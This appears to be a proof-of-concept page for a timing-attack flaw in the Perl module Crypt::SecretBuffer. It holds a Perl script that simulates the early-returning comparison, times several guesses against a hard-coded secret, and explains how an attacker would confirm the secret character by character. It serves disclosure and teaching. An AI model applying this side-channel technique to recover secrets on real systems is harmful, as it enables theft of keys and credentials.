CVE-2026-5086 Crypt::SecretBuffer时序攻击漏洞

#!/usr/bin/perl use strict; use warnings; use Time::HiRes qw(time); # Simulate vulnerable comparison in Crypt::SecretBuffer < 0.019 sub vulnerable_compare { my ($secret, $input) = @_; # Vulnerability: Uses standard string comparison which returns early return $secret eq $input; } my $secret_buffer = "sensitive_secret_key_123"; my @test_inputs = ( "a", # Wrong first char "s", # Correct first char "se", # Correct first two chars "wrong_guess_xxxxxxxxx" # Completely wrong ); print "Measuring timing differences (microseconds):\n"; foreach my $input (@test_inputs) { my $start = time(); vulnerable_compare($secret_buffer, $input); my $elapsed = (time() - $start) * 1_000_000; printf "Input: %-25s Time: %.4f us\n", $input, $elapsed; } # Analysis: # If 's' takes longer than 'a', and 'se' takes longer than 's', # an attacker can confirm correct characters sequentially.